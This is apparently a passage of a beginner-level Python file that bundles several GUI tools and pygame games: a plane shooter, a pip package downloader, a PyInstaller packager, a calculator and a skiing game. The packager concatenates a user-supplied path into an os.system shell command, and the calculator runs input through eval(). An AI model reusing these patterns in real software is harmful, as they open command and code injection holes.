        WordContent.Get_Image()
        WordContent.Get_Words()
    # -------------------------------------界面---------------------------------
    SelectFile = Button(root, text="待转换PDF", command=Button1Anwser,width=15, height=1, bg="DarkGray", fg="white")
    SelectFile.grid(row=1, column=0, sticky=W)

    SelectFile = Button(root, text="转Word", command=Button2Anwser, width=15, height=1, bg="DarkGray", fg="white")
    SelectFile.grid(row=3, sticky=W)

    SelectFile = Button(root, text="待提取文字Word", command=Button4Anwser,width=15, height=1, bg="DarkGray", fg="white")
    SelectFile.grid(row=5, column=0, sticky=W)

    SelectFile = Button(root, text="转Text", command=Button3Anwser, width=15, height=1, bg="DarkGray", fg="white")
    SelectFile.grid(row=7, sticky=W)

    Advice1 = Label(root, text='')
    Advice1.config(text='1 : PDF转WORD后，发现Word中的文字是以图片显示的情况下，进一步进行Word中针对图片的文字识别')
    Advice1.grid(row=9, column=0, sticky=W)

    Advice2 = Label(root, text='')
    Advice2.config(text='2 : 文字识别比不上网上需花钱的识别，会出现漏字，错字等情况，请提取后仔细检查')
    Advice2.grid(row=10, column=0, sticky=W)

    Advice3 = Label(root, text='')
    Advice3.config(text='3 : 转换过程可能很长，转换按钮一直处于按下状态，请等待“转换完成”字样提示')
    Advice3.grid(row=11, column=0, sticky=W)

    root.mainloop()


def feiji():
    pygame.init()
    pygame.mixer.init()

    bg_size = width, height = 480, 700
    screen = pygame.display.set_mode(bg_size)
    pygame.display.set_caption("飞机大战 -- FishC Demo")

    background = pygame.image.load("images/background.png").convert()

    BLACK = (0, 0, 0)
    WHITE = (255, 255, 255)
    GREEN = (0, 255, 0)
    RED = (255, 0, 0)

    # 载入游戏音乐
    pygame.mixer.music.load("sound/game_music.ogg")
    pygame.mixer.music.set_volume(0.2)
    bullet_sound = pygame.mixer.Sound("sound/bullet.wav")
    bullet_sound.set_volume(0.2)
    bomb_sound = pygame.mixer.Sound("sound/use_bomb.wav")
    bomb_sound.set_volume(0.2)
    supply_sound = pygame.mixer.Sound("sound/supply.wav")
    supply_sound.set_volume(0.2)
    get_bomb_sound = pygame.mixer.Sound("sound/get_bomb.wav")
    get_bomb_sound.set_volume(0.2)
    get_bullet_sound = pygame.mixer.Sound("sound/get_bullet.wav")
    get_bullet_sound.set_volume(0.2)
    upgrade_sound = pygame.mixer.Sound("sound/upgrade.wav")
    upgrade_sound.set_volume(0.2)
    enemy3_fly_sound = pygame.mixer.Sound("sound/enemy3_flying.wav")
    enemy3_fly_sound.set_volume(0.2)
    enemy1_down_sound = pygame.mixer.Sound("sound/enemy1_down.wav")
    enemy1_down_sound.set_volume(0.2)
    enemy2_down_sound = pygame.mixer.Sound("sound/enemy2_down.wav")
    enemy2_down_sound.set_volume(0.2)
    enemy3_down_sound = pygame.mixer.Sound("sound/enemy3_down.wav")
    enemy3_down_sound.set_volume(0.5)
    me_down_sound = pygame.mixer.Sound("sound/me_down.wav")
    me_down_sound.set_volume(0.2)


    def add_small_enemies(group1, group2, num):
        for i in range(num):
            e1 = enemy.SmallEnemy(bg_size)
            group1.add(e1)
            group2.add(e1)


    def add_mid_enemies(group1, group2, num):
        for i in range(num):
            e2 = enemy.MidEnemy(bg_size)
            group1.add(e2)
            group2.add(e2)


    def add_big_enemies(group1, group2, num):
        for i in range(num):
            e3 = enemy.BigEnemy(bg_size)
            group1.add(e3)
            group2.add(e3)


    def inc_speed(target, inc):
        for each in target:
            each.speed += inc


    def main():
        pygame.mixer.music.play(-1)
        
        # 生成我方飞机
        me = myplane.MyPlane(bg_size)
        
        enemies = pygame.sprite.Group()
        
        # 生成敌方小型飞机
        small_enemies = pygame.sprite.Group()
        add_small_enemies(small_enemies, enemies, 15)
        
        # 生成敌方中型飞机
        mid_enemies = pygame.sprite.Group()
        add_mid_enemies(mid_enemies, enemies, 4)
        
        # 生成敌方大型飞机
        big_enemies = pygame.sprite.Group()
        add_big_enemies(big_enemies, enemies, 2)
        
        # 生成普通子弹
        bullet1 = []
        bullet1_index = 0
        BULLET1_NUM = 4
        for i in range(BULLET1_NUM):
            bullet1.append(bullet.Bullet1(me.rect.midtop))
        
        # 生成超级子弹
        bullet2 = []
        bullet2_index = 0
        BULLET2_NUM = 8
        for i in range(BULLET2_NUM // 2):
            bullet2.append(bullet.Bullet2((me.rect.centerx - 33, me.rect.centery)))
            bullet2.append(bullet.Bullet2((me.rect.centerx + 30, me.rect.centery)))
        
        clock = pygame.time.Clock()
        
        # 中弹图片索引
        e1_destroy_index = 0
        e2_destroy_index = 0
        e3_destroy_index = 0
        me_destroy_index = 0
        
        # 统计得分
        score = 0
        score_font = pygame.font.Font("font/font.ttf", 36)
        
        # 标志是否暂停游戏
        paused = False
        pause_nor_image = pygame.image.load("images/pause_nor.png").convert_alpha()
        pause_pressed_image = pygame.image.load("images/pause_pressed.png").convert_alpha()
        resume_nor_image = pygame.image.load("images/resume_nor.png").convert_alpha()
        resume_pressed_image = pygame.image.load("images/resume_pressed.png").convert_alpha()
        paused_rect = pause_nor_image.get_rect()
        paused_rect.left, paused_rect.top = width - paused_rect.width - 10, 10
        paused_image = pause_nor_image
        
        # 设置难度级别
        level = 1
        
        # 全屏炸弹
        bomb_image = pygame.image.load("images/bomb.png").convert_alpha()
        bomb_rect = bomb_image.get_rect()
        bomb_font = pygame.font.Font("font/font.ttf", 48)
        bomb_num = 3
        
        # 每30秒发放一个补给包
        bullet_supply = supply.Bullet_Supply(bg_size)
        bomb_supply = supply.Bomb_Supply(bg_size)
        SUPPLY_TIME = USEREVENT
        pygame.time.set_timer(SUPPLY_TIME, 30 * 1000)
        
        # 超级子弹定时器
        DOUBLE_BULLET_TIME = USEREVENT + 1
        
        # 标志是否使用超级子弹
        is_double_bullet = False
        
        # 解除我方无敌状态定时器
        INVINCIBLE_TIME = USEREVENT + 2
        
        # 生命数量
        life_image = pygame.image.load("images/life.png").convert_alpha()
        life_rect = life_image.get_rect()
        life_num = 3
        
        # 用于阻止重复打开记录文件
        recorded = False
        
        # 游戏结束画面
        gameover_font = pygame.font.Font("font/font.TTF", 48)
        again_image = pygame.image.load("images/again.png").convert_alpha()
        again_rect = again_image.get_rect()
        gameover_image = pygame.image.load("images/gameover.png").convert_alpha()
        gameover_rect = gameover_image.get_rect()
        
        # 用于切换图片
        switch_image = True
        
        # 用于延迟
        delay = 100
        
        running = True
        
        while running:
            for event in pygame.event.get():
                if event.type == QUIT:
                    pygame.quit()
                    sys.exit()
                
                elif event.type == MOUSEBUTTONDOWN:
                    if event.button == 1 and paused_rect.collidepoint(event.pos):
                        paused = not paused
                        if paused:
                            pygame.time.set_timer(SUPPLY_TIME, 0)
                            pygame.mixer.music.pause()
                            pygame.mixer.pause()
                        else:
                            pygame.time.set_timer(SUPPLY_TIME, 30 * 1000)
                            pygame.mixer.music.unpause()
                            pygame.mixer.unpause()
                
                elif event.type == MOUSEMOTION:
                    if paused_rect.collidepoint(event.pos):
                        if paused:
                            paused_image = resume_pressed_image
                        else:
                            paused_image = pause_pressed_image
                    else:
                        if paused:
                            paused_image = resume_nor_image
                        else:
                            paused_image = pause_nor_image
                
                elif event.type == KEYDOWN:
                    if event.key == K_SPACE:
                        if bomb_num:
                            bomb_num -= 1
                            bomb_sound.play()
                            for each in enemies:
                                if each.rect.bottom > 0:
                                    each.active = False
                
                elif event.type == SUPPLY_TIME:
                    supply_sound.play()
                    if choice([True, False]):
                        bomb_supply.reset()
                    else:
                        bullet_supply.reset()
                
                elif event.type == DOUBLE_BULLET_TIME:
                    is_double_bullet = False
                    pygame.time.set_timer(DOUBLE_BULLET_TIME, 0)
                
                elif event.type == INVINCIBLE_TIME:
                    me.invincible = False
                    pygame.time.set_timer(INVINCIBLE_TIME, 0)
            
            # 根据用户的得分增加难度
            if level == 1 and score > 50000:
                level = 2
                upgrade_sound.play()
                # 增加3架小型敌机、2架中型敌机和1架大型敌机
                add_small_enemies(small_enemies, enemies, 3)
                add_mid_enemies(mid_enemies, enemies, 2)
                add_big_enemies(big_enemies, enemies, 1)
                # 提升小型敌机的速度
                inc_speed(small_enemies, 1)
            elif level == 2 and score > 300000:
                level = 3
                upgrade_sound.play()
                # 增加5架小型敌机、3架中型敌机和2架大型敌机
                add_small_enemies(small_enemies, enemies, 5)
                add_mid_enemies(mid_enemies, enemies, 3)
                add_big_enemies(big_enemies, enemies, 2)
                # 提升小型敌机的速度
                inc_speed(small_enemies, 1)
                inc_speed(mid_enemies, 1)
            elif level == 3 and score > 600000:
                level = 4
                upgrade_sound.play()
                # 增加5架小型敌机、3架中型敌机和2架大型敌机
                add_small_enemies(small_enemies, enemies, 5)
                add_mid_enemies(mid_enemies, enemies, 3)
                add_big_enemies(big_enemies, enemies, 2)
                # 提升小型敌机的速度
                inc_speed(small_enemies, 1)
                inc_speed(mid_enemies, 1)
            elif level == 4 and score > 1000000:
                level = 5
                upgrade_sound.play()
                # 增加5架小型敌机、3架中型敌机和2架大型敌机
                add_small_enemies(small_enemies, enemies, 5)
                add_mid_enemies(mid_enemies, enemies, 3)
                add_big_enemies(big_enemies, enemies, 2)
                # 提升小型敌机的速度
                inc_speed(small_enemies, 1)
                inc_speed(mid_enemies, 1)
            
            screen.blit(background, (0, 0))
            
            if life_num and not paused:
                # 检测用户的键盘操作
                key_pressed = pygame.key.get_pressed()
                
                if key_pressed[K_w] or key_pressed[K_UP]:
                    me.moveUp()
                if key_pressed[K_s] or key_pressed[K_DOWN]:
                    me.moveDown()
                if key_pressed[K_a] or key_pressed[K_LEFT]:
                    me.moveLeft()
                if key_pressed[K_d] or key_pressed[K_RIGHT]:
                    me.moveRight()
                
                # 绘制全屏炸弹补给并检测是否获得
                if bomb_supply.active:
                    bomb_supply.move()
                    screen.blit(bomb_supply.image, bomb_supply.rect)
                    if pygame.sprite.collide_mask(bomb_supply, me):
                        get_bomb_sound.play()
                        if bomb_num < 3:
                            bomb_num += 1
                        bomb_supply.active = False
                
                # 绘制超级子弹补给并检测是否获得
                if bullet_supply.active:
                    bullet_supply.move()
                    screen.blit(bullet_supply.image, bullet_supply.rect)
                    if pygame.sprite.collide_mask(bullet_supply, me):
                        get_bullet_sound.play()
                        is_double_bullet = True
                        pygame.time.set_timer(DOUBLE_BULLET_TIME, 18 * 1000)
                        bullet_supply.active = False
                
                # 发射子弹
                if not (delay % 10):
                    bullet_sound.play()
                    if is_double_bullet:
                        bullets = bullet2
                        bullets[bullet2_index].reset((me.rect.centerx - 33, me.rect.centery))
                        bullets[bullet2_index + 1].reset((me.rect.centerx + 30, me.rect.centery))
                        bullet2_index = (bullet2_index + 2) % BULLET2_NUM
                    else:
                        bullets = bullet1
                        bullets[bullet1_index].reset(me.rect.midtop)
                        bullet1_index = (bullet1_index + 1) % BULLET1_NUM
                
                # 检测子弹是否击中敌机
                for b in bullets:
                    if b.active:
                        b.move()
                        screen.blit(b.image, b.rect)
                        enemy_hit = pygame.sprite.spritecollide(b, enemies, False, pygame.sprite.collide_mask)
                        if enemy_hit:
                            b.active = False
                            for e in enemy_hit:
                                if e in mid_enemies or e in big_enemies:
                                    e.hit = True
                                    e.energy -= 1
                                    if e.energy == 0:
                                        e.active = False
                                else:
                                    e.active = False
                
                # 绘制大型敌机
                for each in big_enemies:
                    if each.active:
                        each.move()
                        if each.hit:
                            screen.blit(each.image_hit, each.rect)
                            each.hit = False
                        else:
                            if switch_image:
                                screen.blit(each.image1, each.rect)
                            else:
                                screen.blit(each.image2, each.rect)
                        
                        # 绘制血槽
                        pygame.draw.line(screen, BLACK, \
                                         (each.rect.left, each.rect.top - 5), \
                                         (each.rect.right, each.rect.top - 5), \
                                         2)
                        # 当生命大于20%显示绿色，否则显示红色
                        energy_remain = each.energy / enemy.BigEnemy.energy
                        if energy_remain > 0.2:
                            energy_color = GREEN
                        else:
                            energy_color = RED
                        pygame.draw.line(screen, energy_color, \
                                         (each.rect.left, each.rect.top - 5), \
                                         (each.rect.left + each.rect.width * energy_remain, \
                                          each.rect.top - 5), 2)
                        
                        # 即将出现在画面中，播放音效
                        if each.rect.bottom == -50:
                            enemy3_fly_sound.play(-1)
                    else:
                        # 毁灭
                        if not (delay % 3):
                            if e3_destroy_index == 0:
                                enemy3_down_sound.play()
                            screen.blit(each.destroy_images[e3_destroy_index], each.rect)
                            e3_destroy_index = (e3_destroy_index + 1) % 6
                            if e3_destroy_index == 0:
                                enemy3_fly_sound.stop()
                                score += 10000
                                each.reset()
                
                # 绘制中型敌机：
                for each in mid_enemies:
                    if each.active:
                        each.move()
                        
                        if each.hit:
                            screen.blit(each.image_hit, each.rect)
                            each.hit = False
                        else:
                            screen.blit(each.image, each.rect)
                        
                        # 绘制血槽
                        pygame.draw.line(screen, BLACK, \
                                         (each.rect.left, each.rect.top - 5), \
                                         (each.rect.right, each.rect.top - 5), \
                                         2)
                        # 当生命大于20%显示绿色，否则显示红色
                        energy_remain = each.energy / enemy.MidEnemy.energy
                        if energy_remain > 0.2:
                            energy_color = GREEN
                        else:
                            energy_color = RED
                        pygame.draw.line(screen, energy_color, \
                                         (each.rect.left, each.rect.top - 5), \
                                         (each.rect.left + each.rect.width * energy_remain, \
                                          each.rect.top - 5), 2)
                    else:
                        # 毁灭
                        if not (delay % 3):
                            if e2_destroy_index == 0:
                                enemy2_down_sound.play()
                            screen.blit(each.destroy_images[e2_destroy_index], each.rect)
                            e2_destroy_index = (e2_destroy_index + 1) % 4
                            if e2_destroy_index == 0:
                                score += 6000
                                each.reset()
                
                # 绘制小型敌机：
                for each in small_enemies:
                    if each.active:
                        each.move()
                        screen.blit(each.image, each.rect)
                    else:
                        # 毁灭
                        if not (delay % 3):
                            if e1_destroy_index == 0:
                                enemy1_down_sound.play()
                            screen.blit(each.destroy_images[e1_destroy_index], each.rect)
                            e1_destroy_index = (e1_destroy_index + 1) % 4
                            if e1_destroy_index == 0:
                                score += 1000
                                each.reset()
                
                # 检测我方飞机是否被撞
                enemies_down = pygame.sprite.spritecollide(me, enemies, False, pygame.sprite.collide_mask)
                if enemies_down and not me.invincible:
                    me.active = False
                    for e in enemies_down:
                        e.active = False
                
                # 绘制我方飞机
                if me.active:
                    if switch_image:
                        screen.blit(me.image1, me.rect)
                    else:
                        screen.blit(me.image2, me.rect)
                else:
                    # 毁灭
                    if not (delay % 3):
                        if me_destroy_index == 0:
                            me_down_sound.play()
                        screen.blit(me.destroy_images[me_destroy_index], me.rect)
                        me_destroy_index = (me_destroy_index + 1) % 4
                        if me_destroy_index == 0:
                            life_num -= 1
                            me.reset()
                            pygame.time.set_timer(INVINCIBLE_TIME, 3 * 1000)
                
                # 绘制全屏炸弹数量
                bomb_text = bomb_font.render("× %d" % bomb_num, True, WHITE)
                text_rect = bomb_text.get_rect()
                screen.blit(bomb_image, (10, height - 10 - bomb_rect.height))
                screen.blit(bomb_text, (20 + bomb_rect.width, height - 5 - text_rect.height))
                
                # 绘制剩余生命数量
                if life_num:
                    for i in range(life_num):
                        screen.blit(life_image, \
                                    (width - 10 - (i + 1) * life_rect.width, \
                                     height - 10 - life_rect.height))
                
                # 绘制得分
                score_text = score_font.render("Score : %s" % str(score), True, WHITE)
                screen.blit(score_text, (10, 5))
            
            # 绘制游戏结束画面
            elif life_num == 0:
                # 背景音乐停止
                pygame.mixer.music.stop()
                
                # 停止全部音效
                pygame.mixer.stop()
                
                # 停止发放补给
                pygame.time.set_timer(SUPPLY_TIME, 0)
                
                if not recorded:
                    recorded = True
                    # 读取历史最高得分
                    with open("record.txt", "r") as f:
                        record_score = int(f.read())
                    
                    # 如果玩家得分高于历史最高得分，则存档
                    if score > record_score:
                        with open("record.txt", "w") as f:
                            f.write(str(score))
                
                # 绘制结束画面
                record_score_text = score_font.render("Best : %d" % record_score, True, (255, 255, 255))
                screen.blit(record_score_text, (50, 50))
                
                gameover_text1 = gameover_font.render("Your Score", True, (255, 255, 255))
                gameover_text1_rect = gameover_text1.get_rect()
                gameover_text1_rect.left, gameover_text1_rect.top = \
                    (width - gameover_text1_rect.width) // 2, height // 3
                screen.blit(gameover_text1, gameover_text1_rect)
                
                gameover_text2 = gameover_font.render(str(score), True, (255, 255, 255))
                gameover_text2_rect = gameover_text2.get_rect()
                gameover_text2_rect.left, gameover_text2_rect.top = \
                    (width - gameover_text2_rect.width) // 2, \
                    gameover_text1_rect.bottom + 10
                screen.blit(gameover_text2, gameover_text2_rect)
                
                again_rect.left, again_rect.top = \
                    (width - again_rect.width) // 2, \
                    gameover_text2_rect.bottom + 50
                screen.blit(again_image, again_rect)
                
                gameover_rect.left, gameover_rect.top = \
                    (width - again_rect.width) // 2, \
                    again_rect.bottom + 10
                screen.blit(gameover_image, gameover_rect)
                
                # 检测用户的鼠标操作
                # 如果用户按下鼠标左键
                if pygame.mouse.get_pressed()[0]:
                    # 获取鼠标坐标
                    pos = pygame.mouse.get_pos()
                    # 如果用户点击“重新开始”
                    if again_rect.left < pos[0] < again_rect.right and \
                            again_rect.top < pos[1] < again_rect.bottom:
                        # 调用main函数，重新开始游戏
                        main()
                    # 如果用户点击“结束游戏”
                    elif gameover_rect.left < pos[0] < gameover_rect.right and \
                            gameover_rect.top < pos[1] < gameover_rect.bottom:
                        # 退出游戏
                        pygame.quit()
                        sys.exit()
                        
                        # 绘制暂停按钮
            screen.blit(paused_image, paused_rect)
            
            # 切换图片
            if not (delay % 5):
                switch_image = not switch_image
            
            delay -= 1
            if not delay:
                delay = 100
            
            pygame.display.flip()
            clock.tick(60)


    if __name__ == "__main__":
        try:
            main()
        except SystemExit:
            pass
        except:
            traceback.print_exc()
            pygame.quit()
            input()
from tkinter.ttk import Button,Entry,Radiobutton
from tkinter import Tk,Label,StringVar,Scrollbar,END,messagebox,Listbox,VERTICAL,HORIZONTAL,SINGLE
from tkinter.filedialog import askdirectory
from downs import Pip_downs
import os
def py():
    class App:
        def __init__(self):
            self.w=Tk()
            self.w.geometry('320x340')
            self.w.title('python库下载器')
            self.creat_res()
            self.res_config()#配置文件
            self.pp=Pip_downs()
            self.w.mainloop()

        def creat_res(self):#创建控件
            self.temp=StringVar()#输入框
            self.path_file=StringVar()#存储路径
            self.sorce=StringVar()#选择源
            self.B_search=Button(self.w,text='查找')
            self.B_file=Button(self.w,text='选择存储目录')
            self.B_down=Button(self.w,text='下载')
            self.B_add=Button(self.w,text='添加')
            self.L_search=Label(self.w,text='选择源:',bg='#B2DFEE')
            self.E_input=Entry(self.w,textvariable=self.temp)
            self.E_path=Entry(self.w,textvariable=self.path_file)
            self.L_pack=Label(self.w,text='找到:',bg='#B2DFEE')
            self.L_packs=Label(self.w,text='找到:',bg='#B2DFEE')
            self.L_box=Listbox(self.w,selectmode=SINGLE)
            self.L_box_se=Listbox(self.w,selectmode=SINGLE)
            self.S_col_y_1=Scrollbar(self.w,orient=VERTICAL)#左边Y
            self.S_col_x_1=Scrollbar(self.w,orient=HORIZONTAL)#左边X
            self.S_col_y_2=Scrollbar(self.w,orient=VERTICAL)#右边Y
            self.S_col_x_2=Scrollbar(self.w,orient=HORIZONTAL)#右边X
            self.L_message=Label(self.w,text='',bg='#C6E2FF')
            self.creat_radios()
            self.res_place()

        def creat_radios(self):#选择器
            self.R_qinghua=Radiobutton(self.w,text='清华',variable=self.sorce,value='1')
            self.R_alibaba=Radiobutton(self.w,text='阿里',variable=self.sorce,value='2')
            self.R_douban=Radiobutton(self.w,text='豆瓣',variable=self.sorce,value='3')

        def res_place(self):#控件布局
            self.L_search.place(x=10,y=10,width=100,height=20)
            self.B_search.place(x=200,y=40,width=50,height=30)
            self.E_input.place(x=10,y=40,width=170,height=30)
            self.E_path.place(x=10,y=80,width=170,height=30)
            self.L_pack.place(x=10,y=113,width=200,height=23)
            self.L_packs.place(x=220,y=113,width=90,height=23)
            self.B_file.place(x=200,y=80,width=90,height=30)
            self.R_qinghua.place(x=110,y=10,width=60,height=20)
            self.R_alibaba.place(x=170,y=10,width=60,height=20)
            self.R_douban.place(x=230,y=10,width=60,height=20)
            self.L_box.place(x=10,y=140,width=140,height=175)
            self.L_box_se.place(x=180,y=140,width=120,height=120)
            self.B_down.place(x=250,y=279,width=50,height=28)
            self.B_add.place(x=186,y=279,width=50,height=28)
            self.S_col_y_1.place(x=150,y=140,width=15,height=175)
            self.S_col_x_1.place(x=10,y=315,width=140,height=15)
            self.S_col_y_2.place(x=300,y=140,width=15,height=120)
            self.S_col_x_2.place(x=180,y=260,width=120,height=15)
            self.L_message.place(x=170,y=308,width=140,height=28)


        def res_config(self):#滚动条配置
            self.S_col_y_1.config(command=self.L_box.yview)
            self.L_box["yscrollcommand"] = self.S_col_y_1.set
            self.S_col_x_1.config(command=self.L_box.xview)
            self.L_box["xscrollcommand"] = self.S_col_x_1.set
            self.S_col_y_2.config(command=self.L_box_se.yview)
            self.L_box_se["yscrollcommand"] = self.S_col_y_2.set
            self.S_col_x_2.config(command=self.L_box_se.xview)
            self.L_box_se["xscrollcommand"] = self.S_col_x_2.set
            self.B_file.config(command=self.select_menu)
            self.B_search.config(command=self.search_res)
            self.sorce.set('1')
            self.B_add.config(command=self.add_pack_to_box)
            self.B_down.config(command=self.lis_box_down)

        def select_menu(self):
            self.path_f=askdirectory()
            self.path_file.set(self.path_f)

        def clear_box(self):
            self.L_box.delete(0,END)

        def search_res(self):#查找库
            print('search')
            print(self.temp.get())
            self.clear_box()
            lis_new=[]
            if self.temp.get()!='':
                lis=self.pp.get_cons(self.sorce.get())
                count=0
                for s_str in lis:
                    if self.temp.get() in s_str:
                        print('找到库{}'.format(s_str))
                        lis_new.append(s_str)
                    else:
                        count+=1
                if count==len(lis):
                    messagebox.showwarning(title='警告',message='没找到库{}'.format(self.temp.get()))
                msg='找到{}个与{}相关的库'.format(len(lis_new),self.temp.get())
                print(msg)
                self.L_pack.config(text=msg)
                for msg in lis_new:
                    self.L_box.insert(END,msg)
                return lis_new
            else:
                messagebox.showerror(title='警告',message='请输入库名')


        def add_pack_to_box(self):#添加列表至lisbox
            cur_index=self.L_box.curselection()
            print(cur_index)
            if len(cur_index)!=0:
                files_dic=self.pp.get_files_url(self.sorce.get(),self.L_box.get(cur_index))
                self.L_packs.config(text='各版本{}个'.format(len(files_dic)))
                for name,url in files_dic.items():
                    self.L_box_se.insert(END,name)
            else:
                messagebox.showwarning(title='警告',message='请选择库')


        def lis_box_down(self):
            print('down')
            cur_index=self.L_box_se.curselection()
            if len(cur_index)!=0:
                print('路径',self.path_file.get())
                if self.path_file.get()!='':
                    pack_name=self.L_box_se.get(cur_index).split('-')[0]
                    if '_' in pack_name:
                        pack_name=pack_name.replace('_','-')
                    print(self.sorce.get(),pack_name,self.L_box_se.get(cur_index),self.path_file.get())
                    self.pp.down_file(self.sorce.get(),pack_name,self.L_box_se.get(cur_index),self.path_file.get())
                    self.L_message.config(text='{}已下载'.format(pack_name))
                else:
                    messagebox.showwarning(title='警告',message='请选择存储路径')
            else:#如果没选择
                messagebox.showwarning(title='警告',message='请选择库')

    a=App()



def pytoexe():
    def dabao():
        fullpath=ui.lineEdit.text()
        f=PureWindowsPath(fullpath)
        filedir=fullpath.replace(f.name,"")
        if ui.checkBox.isChecked()==True:
            second=os.system("cd "+filedir+"&&pyinstaller -F -w "+fullpath)
            if second==0 :
                QMessageBox.about(mainWindow, "执行结果", "恭喜！成功打包exe")
            else:
                QMessageBox.about(mainWindow, "执行结果", "未知错误")
        else:
            second=os.system("cd "+filedir+"&&pyinstaller -F "+fullpath)
            if second==0 :
                QMessageBox.about(mainWindow, "执行结果", "恭喜，成功打包exe")
            else:
                QMessageBox.about(mainWindow, "执行结果", "未知错误")
     
    if __name__=="__main__":
        app=QApplication(sys.argv)
        #创建一个窗口
        mainWindow=QMainWindow()
        ui=Ui_py2exe.Ui_MainWindow()
        ui.setupUi(mainWindow)
        ui.pushButton_2.clicked.connect(dabao)
        mainWindow.show()
        sys.exit(app.exec_())

def jisuanqi():

    # 按钮输入调用
    def get_input(entry, argu):
        # 从entry窗口展示中获取输入的内容
        input_data = entry.get()

        # 合法运算符 : + - * / -- ** // +-
        # ------------ 输入合法性判断的优化 ------------
        # 最后一个字符不是纯数字(已经有算数符号),原窗口值不为空,且输入值为运算符
        # if not input_data[-1:].isdecimal() and (not argu.isdecimal()):
        #     if input_data[-2:] in ["--", "**", "//", "+-"]:
        #         return
        #     if (input_data[-1:] + argu) not in ["--", "**", "//", "+-"]:
        #         return
        # ------------------------------------------------

        # 出现连续+，则第二个+为无效输入，不做任何处理
        if (input_data[-1:] == '+') and (argu == '+'):
            return
        # 出现连续+--，则第三个-为无效输入，不做任何处理
        if (input_data[-2:] == '+-') and (argu == '-'):
            return
        # 窗口已经有--后面字符不能为+或-
        if (input_data[-2:] == '--') and (argu in ['-', '+']):
            return
        # 窗口已经有 ** 后面字符不能为 * 或 /
        if (input_data[-2:] == '**') and (argu in ['*', '/']):
            return

        # 输入合法将字符插入到entry窗口结尾
        entry.insert("end", argu)

    # 退格(撤销输入)
    def backspace(entry):
        input_len = len(entry.get())
        # 删除entry窗口中最后的字符
        entry.delete(input_len - 1)

    # 清空entry内容(清空窗口)
    def clear(entry):
        entry.delete(0, "end")

    # 计算
    def calc(entry):
        input_data = entry.get()
        # 计算前判断输入内容是否为空;首字符不能为*/;*/不能连续出现3次;
        if not input_data:
            return

        clear(entry)

        # 异常捕获，在进行数据运算时如果出现异常进行相应处理
        # noinspection PyBroadException
        try:
            # eval() 函数用来执行一个字符串表达式，并返回表达式的值；并将执行结果转换为字符串
            output_data = str(eval(input_data))
        except Exception:
            # 将提示信息输出到窗口
            entry.insert("end", "Calculation error")
        else:
            # 将计算结果显示在窗口中
            if len(output_data) > 20:
                entry.insert("end", "Value overflow")
            else:
                entry.insert("end", output_data)


    if __name__ == '__main__':

        root = tkinter.Tk()
        root.title("Calculator")

        # 框体大小可调性，分别表示x,y方向的可变性；
        root.resizable(0, 0)

        button_bg = 'orange'
        math_sign_bg = 'DarkTurquoise'
        cal_output_bg = 'YellowGreen'
        button_active_bg = 'gray'

        # justify:显示多行文本的时候, 设置不同行之间的对齐方式，可选项包括LEFT, RIGHT, CENTER
        # 文本从窗口左方开始显示，默认可以显示20个字符
        # row：entry组件在网格中的横向位置
        # column：entry组件在网格中的纵向位置
        # columnspan:正常情况下,一个插件只占一个单元;可通过columnspan来合并一行中的多个相邻单元
        entry = tkinter.Entry(root, justify="right", font=1)
        entry.grid(row=0, column=0, columnspan=4, padx=10, pady=10)

        def place_button(text, func, func_params, bg=button_bg, **place_params):
            # 偏函数partial，可以理解为定义了一个模板，后续的按钮在模板基础上进行修改或添加特性
            # activebackground：按钮按下后显示颜place_params色
            my_button = partial(tkinter.Button, root, bg=button_bg, padx=10, pady=3, activebackground=button_active_bg)
            button = my_button(text=text, bg=bg, command=lambda: func(*func_params))
            button.grid(**place_params)

        # 文本输入类按钮
        place_button('7', get_input, (entry, '7'), row=1, column=0, ipadx=5, pady=5)
        place_button('8', get_input, (entry, '8'), row=1, column=1, ipadx=5, pady=5)
        place_button('9', get_input, (entry, '9'), row=1, column=2, ipadx=5, pady=5)
        place_button('4', get_input, (entry, '4'), row=2, column=0, ipadx=5, pady=5)
        place_button('5', get_input, (entry, '5'), row=2, column=1, ipadx=5, pady=5)
        place_button('6', get_input, (entry, '6'), row=2, column=2, ipadx=5, pady=5)
        place_button('1', get_input, (entry, '1'), row=3, column=0, ipadx=5, pady=5)
        place_button('2', get_input, (entry, '2'), row=3, column=1, ipadx=5, pady=5)
        place_button('3', get_input, (entry, '3'), row=3, column=2, ipadx=5, pady=5)
        place_button('0', get_input, (entry, '0'), row=4, column=0, padx=8, pady=5,
                     columnspan=2, sticky=tkinter.E + tkinter.W + tkinter.N + tkinter.S)
        place_button('.', get_input, (entry, '.'), row=4, column=2, ipadx=7, padx=5, pady=5)

        # 运算输入类按钮(只是背景色不同)
        # 字符大小('+','-'宽度不一样,使用ipadx进行修正)
        place_button('+', get_input, (entry, '+'), bg=math_sign_bg, row=1, column=3, ipadx=5, pady=5)
        place_button('-', get_input, (entry, '-'), bg=math_sign_bg, row=2, column=3, ipadx=5, pady=5)
        place_button('*', get_input, (entry, '*'), bg=math_sign_bg, row=3, column=3, ipadx=5, pady=5)
        place_button('/', get_input, (entry, '/'), bg=math_sign_bg, row=4, column=3, ipadx=5, pady=5)

        # 功能输入类按钮(背景色、触发功能不同)
        place_button('<-', backspace, (entry,), row=5, column=0, ipadx=5, padx=5, pady=5)
        place_button('C', clear, (entry,), row=5, column=1, pady=5, ipadx=5)
        place_button('=', calc, (entry,), bg=cal_output_bg, row=5, column=2, ipadx=5, padx=5, pady=5,
                     columnspan=2, sticky=tkinter.E + tkinter.W + tkinter.N + tkinter.S)

        root.mainloop()
def hua():
    skier_images = ["./bg_img/skier_down.png", "./bg_img/skier_right1.png", "./bg_img/skier_right2.png",
                     "./bg_img/skier_left2.png", "./bg_img/skier_left1.png"]

    class SkierClass(pygame.sprite.Sprite):
        def __init__(self):
            pygame.sprite.Sprite.__init__(self)
            self.image = pygame.image.load("./bg_img/skier_down.png")
            self.rect = self.image.get_rect()
            self.rect.center = [320, 100]
            self.angle = 0

        def turn(self, direction):
            self.angle = self.angle + direction
            if self.angle < -2:  self.angle = -2
            if self.angle >  2:  self.angle =  2
            center = self.rect.center
            self.image = pygame.image.load(skier_images[self.angle])
            self.rect = self.image.get_rect()
            self.rect.center = center
            speed = [self.angle, 6 - abs(self.angle) * 2]
            return speed

        def move(self, speed):
            self.rect.centerx = self.rect.centerx + speed[0]
            if self.rect.centerx < 20:  self.rect.centerx = 20
            if self.rect.centerx > 620: self.rect.centerx = 620

    class ObstacleClass(pygame.sprite.Sprite):
        def __init__(self, image_file, location, type):
            pygame.sprite.Sprite.__init__(self)
            self.image_file = image_file
            self.image = pygame.image.load(image_file)
            self.location = location
            self.rect = self.image.get_rect()
            self.rect.center = location
